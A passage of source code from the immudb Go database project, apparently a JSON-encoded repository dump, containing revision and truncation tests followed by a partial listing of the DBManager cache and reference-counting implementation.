&schema.KeyRequest{\n\t\t\t\tKey:        []byte(\"key\"),\n\t\t\t\tAtRevision: int64(i) + 1,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value%d\", i)), k.Value)\n\t\t}\n\t})\n\n\tt.Run(\"get correct error if positive revision number is to high\", func(t *testing.T) {\n\t\t_, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"key\"),\n\t\t\tAtRevision: 11,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidRevision)\n\t})\n\n\tt.Run(\"get correct error if maximum integer value is used for the revision number\", func(t *testing.T) {\n\t\t_, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"key\"),\n\t\t\tAtRevision: math.MaxInt64,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidRevision)\n\t})\n\n\tt.Run(\"get correct values for negative revision numbers\", func(t *testing.T) {\n\t\tfor i := 1; i < histCount; i++ {\n\t\t\tk, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\t\tKey:        []byte(\"key\"),\n\t\t\t\tAtRevision: -int64(i),\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value%d\", 9-i)), k.Value)\n\t\t}\n\t})\n\n\tt.Run(\"get correct error if negative revision number is to low\", func(t *testing.T) {\n\t\t_, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"key\"),\n\t\t\tAtRevision: -10,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidRevision)\n\t})\n\n\tt.Run(\"get correct error if minimum negative revision number is used\", func(t *testing.T) {\n\t\t_, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"key\"),\n\t\t\tAtRevision: math.MinInt64,\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrInvalidRevision)\n\t})\n\n\tt.Run(\"get correct error if non-existing key is specified\", func(t *testing.T) {\n\t\t_, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"non-existing-key\"),\n\t\t\tAtRevision: 1,\n\t\t})\n\t\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n\t})\n\n\tt.Run(\"get correct error if expired entry is fetched through revision\", func(t *testing.T) {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\tKey:   []byte(\"exp-key\"),\n\t\t\t\tValue: []byte(\"expired-value\"),\n\t\t\t\tMetadata: &schema.KVMetadata{\n\t\t\t\t\tExpiration: &schema.Expiration{\n\t\t\t\t\t\tExpiresAt: time.Now().Unix() - 1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.Set(context.Background(), &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\tKey:   []byte(\"exp-key\"),\n\t\t\t\tValue: []byte(\"not-expired-value\"),\n\t\t\t}},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tentry, err := db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey: []byte(\"exp-key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"not-expired-value\"), entry.Value)\n\t\trequire.EqualValues(t, 2, entry.Revision)\n\n\t\t_, err = db.Get(context.Background(), &schema.KeyRequest{\n\t\t\tKey:        []byte(\"exp-key\"),\n\t\t\tAtRevision: 1,\n\t\t})\n\t\trequire.ErrorIs(t, err, store.ErrExpiredEntry)\n\t})\n}\n\nfunc TestRevisionGetConsistency(t *testing.T) {\n\tdb := makeDb(t)\n\n\tvar keyTxId uint64\n\n\t// Repeat the test for different revision numbers\n\tfor i := 0; i < 10; i++ {\n\n\t\tkeyTx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(\"key\"),\n\t\t\tValue: []byte(fmt.Sprintf(\"value_%d\", i)),\n\t\t}}})\n\t\trequire.NoError(t, err)\n\n\t\tif i == 0 {\n\t\t\tkeyTxId = keyTx.Id\n\t\t}\n\n\t\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\tKey:           []byte(\"reference_unbound\"),\n\t\t\tReferencedKey: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\tKey:           []byte(\"reference_bound\"),\n\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\tAtTx:          keyTxId,\n\t\t\tBoundRef:      true,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"get and scan should return consistent revision on direct entries\", func(t *testing.T) {\n\t\t\tentryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(\"key\")})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tscanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte(\"key\")})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, scanResults.Entries, 1)\n\n\t\t\trequire.EqualValues(t, i+1, entryFromGet.Revision)\n\t\t\trequire.EqualValues(t, i+1, scanResults.Entries[0].Revision)\n\t\t})\n\n\t\tt.Run(\"get and scan should return consistent revision on unbound references\", func(t *testing.T) {\n\t\t\tentryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(\"reference_unbound\")})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value_%d\", i)), entryFromGet.Value)\n\n\t\t\tscanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte(\"reference_unbound\")})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, scanResults.Entries, 1)\n\t\t\trequire.Equal(t, []byte(fmt.Sprintf(\"value_%d\", i)), scanResults.Entries[0].Value)\n\n\t\t\trequire.EqualValues(t, i+1, entryFromGet.Revision)\n\t\t\trequire.EqualValues(t, i+1, scanResults.Entries[0].Revision)\n\t\t\trequire.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision)\n\t\t\trequire.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision)\n\t\t})\n\n\t\tt.Run(\"get and scan should return consistent revision on bound references\", func(t *testing.T) {\n\t\t\tentryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(\"reference_bound\")})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, []byte(\"value_0\"), entryFromGet.Value)\n\n\t\t\tscanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte(\"reference_bound\")})\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, scanResults.Entries, 1)\n\t\t\trequire.Equal(t, []byte(\"value_0\"), scanResults.Entries[0].Value)\n\n\t\t\trequire.EqualValues(t, 0, entryFromGet.Revision)\n\t\t\trequire.EqualValues(t, 0, scanResults.Entries[0].Revision)\n\n\t\t\trequire.EqualValues(t, i+1, entryFromGet.ReferencedBy.Revision)\n\t\t\trequire.EqualValues(t, i+1, scanResults.Entries[0].ReferencedBy.Revision)\n\t\t})\n\t}\n}\n\n/*\nfunc TestReference(t *testing.T) {\ndb := makeDb(t)\n\t_, err := db.Set(context.Background(), kvs[0])\n\tif err != nil {\n\t\tt.Fatalf(\"Reference error %s\", err)\n\t}\n\tref, err := db.Reference(&schema.ReferenceOptions{\n\t\tReference: []byte(`tag`),\n\t\tKey:       kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\tif ref.Index != 1 {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", 1, ref.Index)\n\t}\n\titem, err := db.Get(context.Background(), &schema.Key{Key: []byte(`tag`)})\n\tif err != nil {\n\t\tt.Fatalf(\"Reference  Get error %s\", err)\n\t}\n\tif !bytes.Equal(item.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(item.Value), string(kvs[0].Value))\n\t}\n\titem, err = db.GetReference(&schema.Key{Key: []byte(`tag`)})\n\tif err != nil {\n\t\tt.Fatalf(\"Reference  Get error %s\", err)\n\t}\n\tif !bytes.Equal(item.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(item.Value), string(kvs[0].Value))\n\t}\n}\n\nfunc TestGetReference(t *testing.T) {\ndb := makeDb(t)\n\t_, err := db.Set(context.Background(), kvs[0])\n\tif err != nil {\n\t\tt.Fatalf(\"Reference error %s\", err)\n\t}\n\tref, err := db.Reference(&schema.ReferenceOptions{\n\t\tReference: []byte(`tag`),\n\t\tKey:       kvs[0].Key,\n\t})\n\trequire.NoError(t, err)\n\tif ref.Index != 1 {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", 1, ref.Index)\n\t}\n\titem, err := db.GetReference(&schema.Key{Key: []byte(`tag`)})\n\tif err != nil {\n\t\tt.Fatalf(\"Reference  Get error %s\", err)\n\t}\n\tif !bytes.Equal(item.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(item.Value), string(kvs[0].Value))\n\t}\n\titem, err = db.GetReference(&schema.Key{Key: []byte(`tag`)})\n\tif err != nil {\n\t\tt.Fatalf(\"Reference  Get error %s\", err)\n\t}\n\tif !bytes.Equal(item.Value, kvs[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(item.Value), string(kvs[0].Value))\n\t}\n}\n\nfunc TestZAdd(t *testing.T) {\ndb := makeDb(t)\n\t_, _ = db.Set(context.Background(), &schema.KeyValue{\n\t\tKey:   []byte(`key`),\n\t\tValue: []byte(`val`),\n\t})\n\n\tref, err := db.ZAdd(&schema.ZAddOptions{\n\t\tKey:   []byte(`key`),\n\t\tScore: &schema.Score{Score: float64(1)},\n\t\tSet:   []byte(`mySet`),\n\t})\n\trequire.NoError(t, err)\n\n\tif ref.Index != 1 {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", 1, ref.Index)\n\t}\n\titem, err := db.ZScan(&schema.ZScanOptions{\n\t\tSet:     []byte(`mySet`),\n\t\tOffset:  []byte(\"\"),\n\t\tLimit:   3,\n\t\tReverse: false,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Reference  Get error %s\", err)\n\t}\n\n\tassert.Equal(t, item.Items[0].Item.Value, []byte(`val`))\n}\n*/\n\n/*\nfunc TestScan(t *testing.T) {\ndb := makeDb(t)\n\n\t_, err := db.Set(context.Background(), kv[0])\n\tif err != nil {\n\t\tt.Fatalf(\"set error %s\", err)\n\t}\n\tref, err := db.ZAdd(&schema.ZAddOptions{\n\t\tKey:   kv[0].Key,\n\t\tScore: &schema.Score{Score: float64(3)},\n\t\tSet:   kv[0].Value,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"zadd error %s\", err)\n\t}\n\tif ref.Index != 1 {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", 1, ref.Index)\n\t}\n\n\tit, err := db.SafeZAdd(&schema.SafeZAddOptions{\n\t\tZopts: &schema.ZAddOptions{\n\t\t\tKey:   kv[0].Key,\n\t\t\tScore: &schema.Score{Score: float64(0)},\n\t\t\tSet:   kv[0].Value,\n\t\t},\n\t\tRootIndex: &schema.Index{\n\t\t\tIndex: 0,\n\t\t},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"SafeZAdd error %s\", err)\n\t}\n\tif it.InclusionProof.I != 2 {\n\t\tt.Fatalf(\"SafeZAdd index, expected %v, got %v\", 2, it.InclusionProof.I)\n\t}\n\n\titem, err := db.Scan(context.Background(), &schema.ScanOptions{\n\t\tOffset: nil,\n\t\tDeep:   false,\n\t\tLimit:  1,\n\t\tPrefix: kv[0].Key,\n\t})\n\n\tif err != nil {\n\t\tt.Fatalf(\"ZScanSV  Get error %s\", err)\n\t}\n\tif !bytes.Equal(item.Items[0].Value, kv[0].Value) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(kv[0].Value), string(item.Items[0].Value))\n\t}\n\n\tscanItem, err := db.IScan(&schema.IScanOptions{\n\t\tPageNumber: 2,\n\t\tPageSize:   1,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"IScan  Get error %s\", err)\n\t}\n\t// reference contains also the timestamp\n\tkey, _, _ := store.UnwrapZIndexReference(scanItem.Items[0].Value)\n\tif !bytes.Equal(key, kv[0].Key) {\n\t\tt.Fatalf(\"Reference, expected %v, got %v\", string(kv[0].Key), string(scanItem.Items[0].Value))\n\t}\n}\n*/\n\n/*\n\nfunc TestCount(t *testing.T) {\ndb := makeDb(t)\n\n\troot, err := db.CurrentRoot()\n\trequire.NoError(t, err)\n\n\tkv := []*schema.SafeSetOptions{\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\t\tValue: []byte(\"Killy\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Franz\"),\n\t\t\t\tValue: []byte(\"Clamer\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, val := range kv {\n\t\t_, err := db.SafeSet(val)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Error Inserting to db %s\", err)\n\t\t}\n\t}\n\n\t// Count\n\tc, err := db.Count(context.Background(), &schema.KeyPrefix{\n\t\tPrefix: []byte(\"Franz\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"Error count %s\", err)\n\t}\n\tif c.Count != 1 {\n\t\tt.Fatalf(\"Error count expected %d got %d\", 1, c.Count)\n\t}\n\n\t// CountAll\n\t// for each key there's an extra entry in the db:\n\t// 3 entries (with different keys) + 3 extra = 6 entries in total\n\tcountAll := db.CountAll().Count\n\tif countAll != 6 {\n\t\tt.Fatalf(\"Error CountAll expected %d got %d\", 6, countAll)\n\t}\n}\n*/\n\n/*\nfunc TestSafeReference(t *testing.T) {\ndb := makeDb(t)\n\troot, err := db.CurrentRoot()\n\trequire.NoError(t, err)\n\tkv := []*schema.SafeSetOptions{\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t}\n\tfor _, val := range kv {\n\t\t_, err := db.SafeSet(val)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Error Inserting to db %s\", err)\n\t\t}\n\t}\n\t_, err = db.SafeReference(&schema.SafeReferenceOptions{\n\t\tRo: &schema.ReferenceOptions{\n\t\t\tKey:       []byte(\"Alberto\"),\n\t\t\tReference: []byte(\"Skii\"),\n\t\t},\n\t\tRootIndex: &schema.Index{\n\t\t\tIndex: root.GetIndex(),\n\t\t},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"SafeReference Error %s\", err)\n\t}\n\n\t_, err = db.SafeReference(&schema.SafeReferenceOptions{\n\t\tRo: &schema.ReferenceOptions{\n\t\t\tKey:       []byte{},\n\t\t\tReference: []byte{},\n\t\t},\n\t})\n\tif err == nil {\n\t\tt.Fatalf(\"SafeReference expected error %s\", err)\n\t}\n}\n\n\nfunc TestDump(t *testing.T) {\ndb := makeDb(t)\n\n\troot, err := db.CurrentRoot()\n\trequire.NoError(t, err)\n\n\tkvs := []*schema.SafeSetOptions{\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Alberto\"),\n\t\t\t\tValue: []byte(\"Tomba\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Jean-Claude\"),\n\t\t\t\tValue: []byte(\"Killy\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tKv: &schema.KeyValue{\n\t\t\t\tKey:   []byte(\"Franz\"),\n\t\t\t\tValue: []byte(\"Clamer\"),\n\t\t\t},\n\t\t\tRootIndex: &schema.Index{\n\t\t\t\tIndex: root.GetIndex(),\n\t\t\t},\n\t\t},\n\t}\n\tfor _, val := range kvs {\n\t\t_, err := db.SafeSet(val)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Error Inserting to db %s\", err)\n\t\t}\n\t}\n\n\tdump := &mockImmuService_DumpServer{}\n\terr = db.Dump(&emptypb.Empty{}, dump)\n\trequire.NoError(t, err)\n\trequire.Less(t, 0, len(dump.results))\n}\n*/\n\n/*\ntype mockImmuService_DumpServer struct {\n\tgrpc.ServerStream\n\tresults []*pb.KVList\n}\n\nfunc (_m *mockImmuService_DumpServer) Send(kvs *pb.KVList) error {\n\t_m.results = append(_m.results, kvs)\n\treturn nil\n}\n*/\n\n/*\nfunc TestDb_SetBatchAtomicOperations(t *testing.T) {\ndb := makeDb(t)\n\n\taOps := &schema.Ops{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_KVs{\n\t\t\t\t\tKVs: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err := db.ExecAllOps(aOps)\n\n\trequire.NoError(t, err)\n}\n*/\n\nfunc Test_database_truncate(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(t.TempDir())\n\toptions.storeOpts.\n\t\tWithEmbeddedValues(false).\n\t\tWithPreallocFiles(false).\n\t\tWithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).\n\t\tWithFileSize(8).\n\t\tWithVLogCacheSize(0)\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tvar queryTime time.Time\n\n\tfor i := 0; i <= 20; i++ {\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t}\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\n\t\tif i == 10 {\n\t\t\tqueryTime = time.Now()\n\t\t}\n\t}\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\thdr, err := c.Plan(context.Background(), queryTime)\n\trequire.NoError(t, err)\n\trequire.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime)\n\n\terr = c.TruncateUptoTx(context.Background(), hdr.Id)\n\trequire.NoError(t, err)\n\n\tfor i := hdr.Id; i <= 20; i++ {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\t// ensure that the earlier txs are truncated\n\tfor i := uint64(5); i > 0; i-- {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "pkg/database/db_manager.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\ntype DBManager struct {\n\topenDB  OpenDBFunc\n\tdbCache *cache.Cache\n\n\tlogger logger.Logger\n\n\tdbMutex   sync.RWMutex\n\tdatabases []*dbInfo\n\tdbIndex   map[string]int\n\n\tmtx      sync.Mutex\n\twaitCond *sync.Cond\n\n\tclosed bool\n}\n\ntype dbInfo struct {\n\tmtx sync.Mutex\n\n\topts  *Options\n\tstate *schema.ImmutableState\n\n\tname    string\n\tdeleted bool\n\tclosed  bool\n}\n\nfunc (db *dbInfo) cacheInfo(s *schema.ImmutableState, opts *Options) {\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\tdb.state = s\n\tdb.opts = opts\n}\n\nfunc (db *dbInfo) getState() *schema.ImmutableState {\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\treturn db.state\n}\n\nfunc (db *dbInfo) getOptions() *Options {\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\treturn db.opts\n}\n\nfunc (db *dbInfo) close() error {\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\tif db.closed {\n\t\treturn store.ErrAlreadyClosed\n\t}\n\tdb.closed = true\n\n\treturn nil\n}\n\ntype dbRef struct {\n\tdb    DB\n\tcount uint32\n}\n\ntype OpenDBFunc func(name string, opts *Options) (DB, error)\n\nfunc NewDBManager(openFunc OpenDBFunc, maxActiveDatabases int, log logger.Logger) *DBManager {\n\tm := &DBManager{\n\t\topenDB:    openFunc,\n\t\tdbIndex:   make(map[string]int),\n\t\tdatabases: make([]*dbInfo, 0),\n\t\tlogger:    log,\n\t}\n\tm.dbCache = createCache(m, maxActiveDatabases)\n\tm.waitCond = sync.NewCond(&m.mtx)\n\treturn m\n}\n\nfunc createCache(m *DBManager, capacity int) *cache.Cache {\n\tc, _ := cache.NewCache(capacity)\n\n\tc.SetCanEvict(func(_, value interface{}) bool {\n\t\tref, _ := value.(*dbRef)\n\n\t\treturn ref != nil && atomic.LoadUint32(&ref.count) == 0\n\t})\n\n\tc.SetOnEvict(func(idx, value interface{}) {\n\t\tref, _ := value.(*dbRef)\n\t\tif ref == nil {\n\t\t\treturn\n\t\t}\n\n\t\t// NOTE: db cannot be nil at this point,\n\t\t// since it can only be evicted after it has been successfully opened.\n\t\t// Moreover, since the reference cannot be altered after it has been set,\n\t\t// there is not need to acquire the database lock.\n\t\tif ref.db == nil {\n\t\t\tm.logger.Errorf(\"db not initialised during eviction\")\n\t\t\treturn\n\t\t}\n\n\t\tstate, err := ref.db.CurrentState()\n\t\tif err != nil {\n\t\t\tm.logger.Errorf(`%v: while fetching db %s state`, err, ref.db.GetName())\n\t\t}\n\n\t\topts := ref.db.GetOptions()\n\n\t\terr = ref.db.Close()\n\t\tif err != nil {\n\t\t\tm.logger.Errorf(`%v: while closing db \"%s\"`, err, ref.db.GetName())\n\t\t}\n\n\t\tif i, ok := idx.(int); ok && (i >= 0 && i < len(m.databases)) {\n\t\t\tm.databases[i].cacheInfo(state, opts)\n\t\t}\n\t\tref.db = nil\n\t})\n\treturn c\n}\n\nfunc (m *DBManager) Put(dbName string, opts *Options, closed bool) int {\n\tm.dbMutex.Lock()\n\tdefer m.dbMutex.Unlock()\n\n\tif idx, has := m.dbIndex[dbName]; has {\n\t\tref := m.databases[idx]\n\t\tref.deleted = false\n\t\tref.closed = closed\n\t\tref.opts = opts\n\t\treturn idx\n\t}\n\n\tm.dbIndex[dbName] = len(m.databases)\n\n\tinfo := &dbInfo{\n\t\topts:    opts,\n\t\tname:    dbName,\n\t\tdeleted: false,\n\t\tclosed:  closed,\n\t}\n\n\tm.databases = append(m.databases, info)\n\treturn len(m.databases) - 1\n}\n\nfunc (m *DBManager) Get(idx int) (DB, error) {\n\tdb, exists := m.getDB(idx)\n\tif !exists {\n\t\treturn nil, ErrDatabaseNotExists\n\t}\n\n\tref, err := m.allocDB(idx, db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer db.mtx.Unlock()\n\n\tif ref.db == nil {\n\t\td, err := m.openDB(db.name, db.opts)\n\t\tif err != nil {\n\t\t\tm.Release(idx)\n\t\t\treturn nil, err\n\t\t}\n\t\tref.db = d\n\t}\n\treturn ref.db, nil\n}\n\nfunc (m *DBManager) allocDB(idx int, db *dbInfo) (*dbRef, error) {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tfor {\n\t\tdb.mtx.Lock()\n\n\t\tif m.closed || db.closed || db.deleted {\n\t\t\tdb.mtx.Unlock()\n\t\t\treturn nil, store.ErrAlreadyClosed\n\t\t}\n\n\t\tv, err := m.dbCache.Get(idx)\n\t\tif err == nil {\n\t\t\tref := v.(*dbRef)\n\t\t\tatomic.AddUint32(&ref.count, 1)\n\t\t\treturn ref, nil\n\t\t}\n\n\t\tref := &dbRef{count: 1}\n\t\t_, _, err = m.dbCache.Put(idx, ref)\n\t\tif err == nil {\n\t\t\treturn ref, nil\n\t\t}\n\n\t\tdb.mtx.Unlock()\n\t\tm.waitCond.Wait()\n\t}\n}\n\nfunc (m *DBManager) Release(idx int) {\n\tv, err := m.dbCache.Get(idx)\n\n\t// NOTE: may occur if the database is closed\n\t// before being fully released\n\tif err != nil {\n\t\treturn\n\t}\n\n\tref, _ := v.(*dbRef)\n\tif ref == nil {\n\t\treturn\n\t}\n\n\tif atomic.AddUint32(&ref.count, ^uint32(0)) == 0 {\n\t\tm.signal()\n\t}\n}\n\nfunc (m *DBManager) signal() {\n\tm.mtx.Lock()\n\tdefer m.mtx.Unlock()\n\n\tm.waitCond.Signal()\n}\n\nfunc (m *DBManager) Has(name string) bool {\n\tm.dbMutex.RLock()\n\tdefer m.dbMutex.RUnlock()\n\n\t_, has := m.dbIndex[name]\n\treturn has\n}\n\nfunc (m *DBManager) HasIndex(idx int) bool {\n\tdb, exists := m.getDB(idx)\n\tif !exists {\n\t\treturn false\n\t}\n\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\treturn !db.deleted\n}\n\nfunc (m *DBManager) GetIndexByName(name string) int {\n\tm.dbMutex.RLock()\n\tdefer m.dbMutex.RUnlock()\n\n\tidx, exists := m.dbIndex[name]\n\tif !exists {\n\t\treturn -1\n\t}\n\treturn idx\n}\n\nfunc (m *DBManager) GetNameByIndex(idx int) string {\n\tm.dbMutex.RLock()\n\tdefer m.dbMutex.RUnlock()\n\n\tif idx < 0 || idx >= len(m.databases) {\n\t\treturn \"\"\n\t}\n\treturn m.databases[idx].name\n}\n\nfunc (m *DBManager) GetOptionsByIndex(idx int) *Options {\n\tdbInfo, has := m.getDB(idx)\n\tif !has {\n\t\treturn nil\n\t}\n\n\tref, err := m.dbCache.Get(idx)\n\tif err == nil {\n\t\tdbInfo.mtx.Lock()\n\t\tdefer dbInfo.mtx.Unlock()\n\n\t\tif dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil {\n\t\t\treturn dbInfo.opts\n\t\t}\n\t\treturn nil\n\t}\n\treturn dbInfo.getOptions()\n}\n\nfunc (m *DBManager) GetState(idx int) (*schema.ImmutableState, error) {\n\tdbInfo, has := m.getDB(idx)\n\tif !has {\n\t\treturn nil, ErrDatabaseNotExists\n\t}\n\n\tref, err := m.dbCache.Get(idx)\n\tif err == nil {\n\t\tdbInfo.mtx.Lock()\n\t\tdefer dbInfo.mtx.Unlock()\n\n\t\tif dbRef := ref.(*dbRef); dbRef != nil && dbRef.db != nil {\n\t\t\treturn dbRef.db.CurrentState()\n\t\t}\n\t\t// this condition should never happen\n\t\treturn nil, fmt.Errorf(\"unable to get state\")\n\t}\n\n\ts := dbInfo.getState()\n\tif s != nil {\n\t\treturn s, nil\n\t}\n\n\tdb, err := m.Get(idx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer m.Release(idx)\n\n\treturn db.CurrentState()\n}\n\nfunc (m *DBManager) Delete(name string) error {\n\tm.dbMutex.RLock()\n\n\tidx, exists := m.dbIndex[name]\n\tif !exists {\n\t\tm.dbMutex.RUnlock()\n\t\treturn ErrDatabaseNotExists\n\t}\n\n\tdb := m.databases[idx]\n\tm.dbMutex.RUnlock()\n\n\tdb.mtx.Lock()\n\tdefer db.mtx.Unlock()\n\n\tif !db.closed {\n\t\treturn ErrCannotDeleteAnOpenDatabase\n\t}\n\tdb.deleted = true\n\n\t// NOTE: a closed database cannot be present in the cache\n\treturn nil\n}\n\nfunc (m *DBManager) Length() int {\n\tm.dbMutex.RLock()\n\tdefer m.dbMutex.RUnlock()\n\n\treturn len(m.databases)\n}\n\nfunc (m *DBManager) IsLoaded(idx int) bool {\n\tdb, exists := m.getDB(idx)\n\tif !exists 